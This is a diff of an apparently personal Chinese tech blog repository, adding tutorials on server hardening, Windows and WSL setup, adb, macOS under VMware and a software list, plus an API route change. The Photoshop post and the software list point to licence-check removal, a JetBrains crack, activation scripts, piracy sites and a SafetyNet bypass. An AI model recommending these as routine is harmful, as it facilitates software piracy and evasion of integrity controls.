H6h2ROkf59bb096TttB8lxXiT0uiDQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIBkjCB/AIJAI3bCYqa39hiMA0GCSqGSIb3DQEBBQUAMA0xCzAJBgNVBAYTAiAg
MCAXDTE4MTEyNDA5MDMzOFoYDzIwOTkxMjMxMDkwMzM4WjANMQswCQYDVQQGEwIg
IDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA18hepvNcznqDj735Opxircn3
M0Ruv8nkpHHPuurxr6tLPKAe1XAsy5dWHDbK7t4sXpT0ds9c74yqmvfwKofPk7z9
ZBhmyw/5sp454/JftL1c2fr58wB9ETfX6as5aR5hQR0M0NuQLSAB/KVzi9eeNWDd
EzT0QN5B1Ai9BR/ApMMCAwEAATANBgkqhkiG9w0BAQUFAAOBgQBiqHZsuVP09ubT
GzBSlAFEoqbM63sU51nwQpzkVObgGm9v9nnxS8Atid4be0THsz8nVjWcDym3Tydp
lznrhoSrHyqAAlK3/WSMwyuPnDCNM5g1RdsV40TjZXk9/md8xWxGJ6n1MoBdlK8T
H6h2ROkf59bb096TttB8lxXiT0uiDQ==
-----END CERTIFICATE-----
```
</details>
### 3. 使用密钥登陆
[post cid="439" /]
### 4. 端口设置
1. 删除非必要端口
2. 删除80端口全部强制HTTPS443端口只限定CDN的IP节点回源请求
[post cid="491" /]
3. 其他必要端口
- 安全 - 系统防火墙 - 地区规则 - 添加地区规则
- 地区封海外A封海外B
- 策略:屏蔽
- 端口:指定端口
- 指定端口:其他非必要端口
### 5. 开启系统加固所有选项
> 需要在异常进程监控里面填入docker项目的名字如果被杀就填入再重启
### 6. 阻止海外恶意访问
- WAF - 全局设置 - 防CC攻击 - CC防御 - 设置规则
- 模式:标准模式
- 请求类型ip
- 地区人机验证:中国大陆以外的地区(包括港澳台)
## Cloudflare
### 1. 开启自动程序攻击模式
- 站点 - 安全性 - 自动程序
### 2. 提升安全级别
- 站点 - 安全性 - 设置 - 安全级别 -高
### 3. 阻止海外恶意访问
- 站点 - 安全性 - WAF - 自定义规则 - 创造规则
- 名字:随便
- 字段:国家/地区
- 运算符:不等于
- 值China
- 表达式预览(自动生成):(ip.geoip.country ne "CN")
- 选择操作JS 质询
### 4. 完全加密
- 站点 - SSL/TLS - 概述 - 完全(严格)

View File

@ -0,0 +1,35 @@
---
title: "Adobe Photoshop (Beta) 使用教程"
date: 2023-10-13T12:47:00Z
tags: []
---
## 软件
[Adobe Photoshop (Beta) 下载链接](https://pan.baidu.com/s/1f6WhLHig1AODurU2yo-HhQ?pwd=fyr7)
## 报错处理
### 出现黄色更新弹窗
1. 打开文件目录:
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
2. 修改 `0.js` 文件:
- 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。
- 保存文件,退出 Photoshop重启 Photoshop。提示框应消失。
### Adobe Creative Cloud 丢失或损坏提示
解决方法一:使用独立安装包安装,例如使用 PS CC 2017 的安装包直接安装。
解决方法二:
1. 在弹出页面之后,别关闭,打开任务管理器,你会看到这个进程(同时有一个 Adobe IPC 的分进程)。
2. 找到 Cloud右键打开文件所在位置。
3. 关闭这个对话框,然后删除文件夹里 `Adobe Desktop Service` 名字的 `EXE` 文件。
4. 重启 Photoshop。
提示:如果任务管理器当时没出现这个进程,可能过一会出现,或者直接用 Everything 搜索 `Adobe Desktop Service` 去到 `C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS` 目录也行。
> 解决原理:这个 ADS 文件夹是 Adobe Creative Cloud 附带的一个负责检查软件状态的应用程序,如果检测到当前电脑未安装 Adobe Creative Cloud那么它就会提示让你安装软件但是并不影响 Photoshop 本身的功能以及使用。

View File

@ -0,0 +1,14 @@
---
title: "Windows11 部分程序中文乱码解决方案[通用解决Windows10]"
date: 2023-11-04T20:54:00Z
tags: []
---
## 解决步骤
1. 打开控制面板
2. 找到时钟和区域
3. 选择区域
4. 打开管理
5. 选择非Unicode程序的语言
6. 更改系统区域设置为中国(需要提供管理员权限)

View File

@ -0,0 +1,48 @@
---
title: "Windows用批处理处理图标上的快捷方式和安全盾"
date: 2023-05-23T23:22:00+08:00
tags: []
---
## 去除桌面图标上的快捷方式
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
```batch
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db
start explorer.exe
```
2. 将文本编辑器中的代码另存为.bat文件例如 remove_shortcut.bat保存在桌面上。
3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。
4. 如果您的Windows系统账户没有管理员权限请使用管理员权限运行 remove_shortcut.bat 文件。
5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。
## 去除桌面图标上的安全盾
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
```batch
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db
start explorer.exe
```
2. 将文本编辑器中的代码另存为.bat文件例如 remove_security.bat保存在桌面上。
3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。
4. 如果您的Windows系统账户没有管理员权限请使用管理员权限运行 remove_security.bat 文件。
5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。

View File

@ -0,0 +1,125 @@
---
title: "Windows虚拟化和子系统安装指南"
date: 2023-12-11T17:08:00Z
tags: []
---
## 准备工作
### 一、开启 CPU 虚拟化
1. 重启电脑并进入 **BIOS** 设置。
2. 在 BIOS 设置中找到带有 `virtualization` 字样的选项,启用所有相关的虚拟化功能。
### 二、安装 Hyper-V 服务
1. 打开控制面板:开始 → 运行 → 输入 `control.exe`
2. 选择 `程序和功能`
3. 点击左侧的 `启用或关闭Windows功能`
4. 勾选 `Hyper-V``虚拟机平台` 选项,点击确定完成安装。
5. 重启电脑以应用更改。
## Windows Subsystem for Android (WSA)
### 一、下载离线安装包
1. 访问微软离线应用提取网站:[store.rg-adguard.net](https://store.rg-adguard.net)
2. 复制 WSA 在微软应用商店的地址并粘贴至 URL 输入框中,选择 Slow点击对勾开始搜索。
3. 选择适合您系统架构的最新版本的 WSA 安装包(通常为 `.Msixbundle` 后缀),并下载。
> 注意:忽略带有 BlockMap 后缀的文件。
>
4. 也可访问 [MustardChef 的 GitHub 页面](https://github.com/MustardChef/WSABuilds) 下载经过修改的 WSA 安装包。
### 二、安装 WSA 环境
1. 以管理员身份打开 PowerShell"开始"菜单 >"PowerShell" >右键 >"以管理员身份运行")。
2. 使用以下命令安装下载的 WSA 包:
```bash
Add-AppxPackage "路径\下载的wsa.Msixbundle"
```
## Windows Subsystem for Linux (WSL)
### 一、启用 WSL
1. 以管理员身份打开 PowerShell 并运行:
```bash
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
```
### 二、检查 WSL2 的要求
按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求:
* 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
* 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
### 三、启用虚拟机功能
以管理员身份打开 PowerShell 并运行:
```bash
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
```
### 四、下载 Linux 内核更新包
下载适用于您的计算机架构的 WSL2 Linux 内核更新包:[下载链接](https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi)
### 五、设置 WSL 默认版本
打开 PowerShell 并运行以下命令,将 WSL 2 设置为默认版本:
```bash
wsl --set-default-version 2
```
### 六、安装 Linux 分发版
1. 访问Microsoft Store下载想要安装的 Linux 分发版"
2. 切换到 root 用户登录(如需):
在 PowerShell 中运行
1. 获取linux名称
```bash
wsl --list
```
2. 切换root用户
```bash
指定的Linux分发版 config --default-user root
```
## 常见问题处理
* **关闭 WSL 自动挂载 Windows 分区**
编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。
```bash
# 不加载Windows中的PATH内容
[interop]
appendWindowsPath = false
# 不自动挂载Windows系统所有磁盘分区
[automount]
enabled = false
```
* **解决无法定位 package screen 的问题**
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
* **WSL 卸载**
查看已安装的 WSL 环境并卸载指定的 Linux 分发版。
```bash
wsl --unregister 指定的Linux分发版
```
* **解决 WSLRegisterDistribution 错误**
在 PowerShell 中运行
```bash
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
```

View File

@ -0,0 +1,34 @@
---
title: "windows安装adb教程"
date: 2021-08-12T20:27:00+08:00
tags: []
---
## 1. 下载adb工具
(1) 打开Android开发网搜索"SDK Platform Tools",打开如下所示的[网站][1]可以看到有Windows\Mac\Linux三个版本的SDK Platform Tools点击符合你电脑的版本下载它。adb工具就包含在这个工具中。
(2) 如果打不开Android开发网则需要魔法确保能访问Google之后再来下载和安装adb。
或者在一些第三方的网站上下载SDK Platform Tools。
(3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载
## 2. adb安装和配置
(1) SDK Platform Tools下载后在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。
(2) 添加环境变量:
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path
(3) 重新打开一个cmd窗口输入adb可以看到如下的窗口有显示adb的版本和用法这就说明adb正确安装好啦。
## 3. 下载驱动
去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en
[2]: https://lsy22.lanzoui.com/iFIUqsjzyvc
[3]: https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn

View File

@ -0,0 +1,39 @@
---
title: "Windows终端美化PowerShell+OhMyPosh"
date: 2024-06-28T02:51:52+08:00
tags: []
---
## 安装 PowerShell
在 Microsoft Store 搜索 Windows Terminal点击安装即可。
## 安装 [Oh My Posh](https://ohmyposh.dev/)
官方安装文档:[Oh My Posh 安装指南](https://ohmyposh.dev/docs/installation/windows)
## 设置主题
在终端输入命令 `Get-PoshThemes`,即可查看支持的主题列表。
选择一个主题,例如 `negligible`,并修改 `Microsoft.PowerShell_profile.ps1` 文件中的主题内容。
### 临时切换主题
```bash
oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH/negligible.omp.json" | Invoke-Expression
```
### 永久切换主题
将上述命令加入 `Microsoft.PowerShell_profile.ps1` 文件中。
`Microsoft.PowerShell_profile.ps1` 文件的路径一般为 `C:\Users\用户名\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1`
输入下方命令来打开该文件:
```powershell
profile
if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
notepad $PROFILE
```

View File

@ -0,0 +1,141 @@
---
title: "VMware虚拟机上Mac OS系统"
date: 2023-12-15T20:53:00Z
tags: []
---
## 一、安装VMware Workstation Pro
官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html)
激活教程: 百度
## 二、unlocker解锁VM以支持macOS系统
下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases)
1. 完全关闭VMware
2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。
3. 提示`press enter key to continue`说明安装成功
## 三.下载 `macOS Recovery` 镜像
> macOS Recovery模式可以用来给mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入macOS Recovery模式。
### 1. 下载python(如果有可以跳过)
Python官方下载地址[Python下载地址](https://www.python.org/downloads/)
Microsoft下载地址: [Microsoft下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
### 2. 下载 macOS Recovery 镜像
获取 python 脚本:
```bash
curl -OL https://raw.githubusercontent.com/acidanthera/OpenCorePkg/master/Utilities/macrecovery/macrecovery.py
```
下载 macOS Recovery:
版本Monterey (12
```bash
python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
```
> 下载完成后可以看到当前文件夹多出了一个com.apple.recovery.boot
>
> 文件夹打开之后有一个BaseSystem.dmg
>
> 文件这就是macOSRecovery镜像但是此镜像不能直接用来引导虚拟机需要转换一下格式才能用来引导虚拟机。
下载macOSRecovery镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
### 3. 转换 macOS Recovery 镜像
镜像需要用到 qemu-img 工具
下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/)
#### . 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装。
安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹
Ⅱ. 打开此路径后如果qemu-w64是默认安装就输入
```bash
c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk
```
如果不是替换 `c:\"Program Files"\`,输入完即可将 macOS Recovery 镜像转换为 VMWare 虚拟机需要的格式
转换教程来自[这里](https://www.insanelymac.com/forum/topic/342603-guide-simple-steps-to-create-macos-installer-for-vmware-on-linux-or-windows/)
## 四.创建虚拟机
```bash
安装来源:选择以后再安装操作系统,创建一个空白硬盘
客户端操作系统macOS13
CPU配置处理器数量:1,内核数量:自定义
内存,看自己物理机内存大小
网络选项:桥接
磁盘:创建新的磁盘
其他未说明选项,默认或随意
```
## 五.设置引导硬盘
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的recovery.vmdk->选择保持原有格式->然后保存
## 六.开始安装
### 1.打开VMWare虚拟机开启虚拟机电源虚拟机会自动进入引导界面。
### 2.选择语言
### 3.格式化硬盘
1. 点击磁盘工具旁边的图标选择显示所有设备
2. 选择之前创建的空白硬盘,看大小可以分辨出来
3. 点击抹掉 - 抹除磁盘
4. 关闭磁盘工具,选择重新安装 macOS
## 七.安装完成之后
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机。
修改虚拟机目录下`macOS 13.vmx`文件末尾加入
> `macOS 13`:为虚拟机名字
`board-id = "Mac-4B682C642B45593E"`为安装的版本号
```bash
cpuid.0.eax = "0000:0000:0000:0000:0000:0000:0000:1011"
cpuid.0.ebx = "0111:0101:0110:1110:0110:0101:0100:0111"
cpuid.0.ecx = "0110:1100:0110:0101:0111:0100:0110:1110"
cpuid.0.edx = "0100:1001:0110:0101:0110:1110:0110:1001"
cpuid.1.eax = "0000:0000:0000:0001:0000:0110:0111:0001"
cpuid.1.ebx = "0000:0010:0000:0001:0000:1000:0000:0000"
cpuid.1.ecx = "1000:0010:1001:1000:0010:0010:0000:0011"
cpuid.1.edx = "0000:0111:1000:1011:1111:1011:1111:1111"
smbios.reflectHost = "TRUE"
hw.model = "MacBookPro14,3"
board-id = "Mac-FFE5EF870D7BA81A"
keyboard.vusb.enable = "TRUE"
mouse.vusb.enable = "TRUE"
```
## 未能启动虚拟机
修改虚拟机目录下`macOS 13.vmx`的配置选项
> `macOS 13`:为虚拟机名字
将`virtualHW.version`的值改为`"11"`
```bash
virtualHW.version = "11"
```

View File

@ -0,0 +1,23 @@
---
title: "解决 Win11 右键菜单问题"
date: 2021-12-11T18:53:00Z
tags: []
---
首先,按下 Win+X 打开 Windows PowerShell管理员
1. 切换回经典右键菜单:
```powershell
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
```
2. 恢复到新版右键菜单(不建议执行):
```powershell
reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f
```
然后,按下 Win+E 打开 Windows 资源管理器,接着按下 Ctrl+Shift+Esc 打开任务管理器,找到并重启 Windows 资源管理器。
现在,右键单击应该已经恢复正常了。

View File

@ -0,0 +1,22 @@
---
title: "计算机意外的重新启动或遇到错误"
date: 2021-11-26T21:26:00Z
tags: []
---
## 问题描述
本人在安装Windows 10操作系统的过程中遭遇断电导致安装中断。再次进行安装一直报上面的错误。
已尝试网上盛传的方法使用Shift+F10打开命令行进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
## 解决方法
1. 按Shift+F10打开命令行窗口。
2. 输入`regedit`以打开注册表编辑器。
3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。
4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。
5. 修改数值数据从1修改为3然后点击确定。
6. 关闭注册表编辑器。
7. 重新点击错误消息框的"确定"按钮。
8. 电脑将自动重启,重新解析安装包再次进入安装系统。

171
src/content/常用软件.md Normal file
View File

@ -0,0 +1,171 @@
---
title: "常用软件"
date: 2023-04-28T20:56:00Z
---
### Windows 应用
---
* **开发软件:**
* [JetBrains全家桶](https://www.jetbrains.com/zh-cn/products/)
* [JetBrains破解软件](https://linux.do/t/topic/115562)
* **压缩软件**[NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
* **办公软件:**
* [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office下载)
* [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
* [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
* **下载器:**[IDM](https://www.internetdownloadmanager.com/)
* **卸载工具:**[Geek](https://geekuninstaller.com/)
* **文件搜索工具:**[Everything](https://www.voidtools.com/downloads/)
* **电脑硬件检测:**[图吧工具箱](http://www.tbtool.cn/)
* **浏览器:**
* [chrome](https://www.google.com/chrome/)
* [Arc](https://arc.net/)
* [百分浏览器](https://www.centbrowser.cn/)
* **ssh工具**
* [tabby](https://github.com/Eugeny/tabby/tree/master)
* [FinalShell](http://www.hostbuf.com/)
* **adb工具**[Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
* **科学上网工具:**
* [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
* [v2rayN](https://github.com/2dust/v2rayN/releases/)
* [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat)V2Ray 路由规则文件加强版
* **驱动管理:**[360驱动大师](http://dm.weishi.360.cn/home.html)
* **运行库安装:**[NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
* **任务栏透明工具:**[TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
* **壁纸软件:**[Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
* **防火墙应用:**
* [360安全卫士极速版](https://weishi.360.cn/jisu/)
* [火绒](https://www.huorong.cn/)
### Android 应用
---
* **下载器:** 1DM+
* **安装器:** R-安装组件
* **浏览器:**
* [雨见浏览器国际版](https://yjllq.com/)
* [Alook](https://www.alookweb.com/)
* **文件管理器:**[MT管理器](https://mt2.cn/)
* **网络工具:**
* Cellular Pro
* VPN热点
* **科学上网**
* Surfboard
* [v2rayNG](https://github.com/2dust/v2rayNG/releases)
* **终端模拟器**:
* [Termux](https://termux.dev/)
* [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
* **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
* **视频播放器:**
* MX播放器专业版
* XPlayer - 万能视频播放器
* **服务器连接:**
* [JuiceSSH](https://juicessh.com/)
* RD客户端 (连接Windows)
* [Termius](https://termius.com/)
* **根目录整理:**[存储空间隔离](https://sr.rikka.app/)
* **定位修改:**[Fake Location](https://github.com/Lerist/FakeLocation)
* **将操作系统映像写入USB驱动器**[EtchDroid](https://github.com/EtchDroid/EtchDroid)
* **adb工具**
* [搞机助手](https://gjzsr.com/)
* 甲壳虫ADB助手
* Bugjaeger Premium
* [scene](https://github.com/kdrag0n/safetynet-fix/releases)
* **Xposed软件**
* **抖音增强**[FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
* **bilibili增强**[哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
* **微信增强**[微x模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
* **QQ增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
* **识别短信验证码**[XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
* **Magisk模块管理**
* **[LSPosed](https://github.com/LSPosed/LSPosed)**:已归档
* 关闭SELinux
* 停用HW叠加层模块
* [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
* [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
### 浏览器插件
---
* [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
* [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
* [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
* [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
* [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
* [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
* [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
* [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
* [Floccus](https://floccus.org/download):同步书签和标签
* [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
### Docker 应用
---
* [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden ](https://bitwarden.com/)的第三方 Docker 项目。
* [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
* [思源笔记](https://b3log.org/siyuan/)支持web端
* [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
* [Nginx Proxy Manager](https://nginxproxymanager.com/)Nginx 代理管理器
* [雷池](https://waf-ce.chaitin.cn/)基于Nginx开发的Web 应用防火墙
### Linux 应用
---
* [OpenSSH](https://www.openssh.com/)SSH连接工具
* `Wget` `curl`:从网络上获取或发送数据
* [vim](https://www.vim.org/):文本编辑器
* [Git](https://git-scm.com/)<sup>:</sup> 分布式版本控制系统
* [Zsh](https://www.zsh.org/)是一款功能强大、灵活可定制的shell
* [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
* [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
* [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
* 镜像仓库:
* [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
* [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
* [网易开源镜像站](https://mirrors.163.com/)
* [腾讯软件源](https://mirrors.cloud.tencent.com/)
* [华为开源镜像站](https://mirrors.huaweicloud.com/home)
* [移动云开源镜像站](https://mirrors.cmecloud.cn/)
* [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
### 可被托管的应用
---
* [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io)使用CF-workersDocker仓库镜像代理工具
* [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex)使用CF-workers搭建代理
* [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
### 网站
---
* 盗版软件:
* [CyberMania](https://www.cybermania.ws/)
* [果核剥壳](https://www.ghxi.com/)
* 单价游戏:
* [土豆资源库](http://tdtd.chat/index)
* [3DMGAME](https://bbs.3dmgame.com/forum.php)

View File

@ -1,15 +0,0 @@
---
import Layout from "@/components/Layout.astro";
import { Countdown } from "@/components/Countdown";
const targetDate = "2070-04-06";
---
<Layout title="退休倒计时">
<div class="container mx-auto px-4 py-8">
<h1 class="text-3xl font-bold text-center mb-8">距离退休还有</h1>
<div class="max-w-2xl mx-auto bg-white dark:bg-gray-800 rounded-lg shadow-lg p-6">
<Countdown client:load targetDate={targetDate} />
</div>
</div>
</Layout>

View File

@ -1,7 +1,11 @@
import type { APIRoute } from 'astro';
import { getCollection } from 'astro:content';
import { contentStructure } from '../../content.config';
import type { SectionStructure } from '../../content.config';
import { getSpecialPath } from '../../content.config';
// 处理特殊ID的函数
function getArticleUrl(articleId: string) {
return `/articles/${getSpecialPath(articleId)}`;
}
export const GET: APIRoute = async ({ request }) => {
// 获取查询参数
@ -14,6 +18,12 @@ export const GET: APIRoute = async ({ request }) => {
// 获取所有文章
const articles = await getCollection('articles');
// 打印所有文章的ID用于调试
console.log('所有文章的ID:');
articles.forEach(article => {
console.log(`- ${article.id}`);
});
// 根据条件过滤文章
let filteredArticles = articles;
@ -24,52 +34,20 @@ export const GET: APIRoute = async ({ request }) => {
);
}
// 如果有路径过滤,需要从contentStructure中查找对应目录下的文章
// 如果有路径过滤,直接使用文章ID来判断
if (path) {
// 解析路径
const pathSegments = path.split('/').filter(segment => segment.trim() !== '');
const normalizedPath = path.toLowerCase();
console.log('当前过滤路径:', normalizedPath);
// 递归查找目录
const findArticlesInPath = (sections: SectionStructure[], currentPath = ''): string[] => {
for (const section of sections) {
const sectionPath = currentPath ? `${currentPath}/${section.name}` : section.name;
filteredArticles = filteredArticles.filter(article => {
const articlePath = article.id.split('/');
console.log('处理文章:', article.id, '分割后:', articlePath);
// 如果找到匹配的目录
if (sectionPath === path) {
return section.articles;
}
// 检查文章路径的每一部分
return article.id.toLowerCase().includes(normalizedPath);
});
// 递归查找子目录
const articlesInSubsection = findArticlesInPath(section.sections, sectionPath);
if (articlesInSubsection.length > 0) {
return articlesInSubsection;
}
}
return [];
};
// 获取目录下的文章路径
const articlePaths = findArticlesInPath(contentStructure.sections);
// 根据路径过滤文章
if (articlePaths.length > 0) {
filteredArticles = filteredArticles.filter(article => {
// 检查文章ID是否在目录的文章列表中
return articlePaths.some(articlePath => {
const articleId = article.id;
const pathParts = articlePath.split('/');
const fileName = pathParts[pathParts.length - 1];
// 尝试多种匹配方式
return (
articlePath.includes(articleId) ||
articleId.includes(fileName) ||
fileName.includes(articleId)
);
});
});
}
console.log('过滤后的文章数量:', filteredArticles.length);
}
// 按日期排序(最新的在前面)
@ -82,74 +60,25 @@ export const GET: APIRoute = async ({ request }) => {
const endIndex = startIndex + limit;
const paginatedArticles = sortedArticles.slice(startIndex, endIndex);
// 格式化文章数据,只返回需要的字段
const formattedArticles = paginatedArticles.map(article => {
// 查找文章所属的目录
let section = '';
// 格式化文章数据
const formattedArticles = paginatedArticles.map(article => ({
id: article.id,
title: article.data.title,
date: article.data.date,
tags: article.data.tags || [],
summary: article.data.summary || '',
url: getArticleUrl(article.id) // 使用特殊ID处理函数
}));
// 递归查找文章所属的目录
const findSection = (sections: SectionStructure[], articleId: string, parentPath = ''): string | null => {
for (const sec of sections) {
const sectionPath = parentPath ? `${parentPath}/${sec.name}` : sec.name;
// 检查文章是否在当前目录中
for (const artPath of sec.articles) {
const pathParts = artPath.split('/');
const fileName = pathParts[pathParts.length - 1];
// 尝试多种匹配方式
if (
artPath.includes(articleId) ||
articleId.includes(fileName) ||
fileName.includes(articleId)
) {
return sectionPath;
}
}
// 递归检查子目录
const foundInSubsection = findSection(sec.sections, articleId, sectionPath);
if (foundInSubsection) {
return foundInSubsection;
}
}
return null;
};
section = findSection(contentStructure.sections, article.id) || '';
return {
id: article.id,
title: article.data.title,
date: article.data.date.toISOString(),
summary: article.data.summary || '',
tags: article.data.tags || [],
section: section
};
});
// 构建分页信息
const pagination = {
return new Response(JSON.stringify({
articles: formattedArticles,
total: sortedArticles.length,
current: page,
limit: limit,
hasNext: endIndex < sortedArticles.length,
hasPrev: page > 1,
page,
limit,
totalPages: Math.ceil(sortedArticles.length / limit)
};
// 返回JSON响应
return new Response(
JSON.stringify({
articles: formattedArticles,
pagination: pagination
}),
{
status: 200,
headers: {
'Content-Type': 'application/json'
}
}), {
headers: {
'Content-Type': 'application/json'
}
);
});
};

View File

@ -1,6 +1,6 @@
---
import { getCollection, render } from 'astro:content';
import { contentStructure, getRelativePath, getBasename, getDirPath } from '@/content.config';
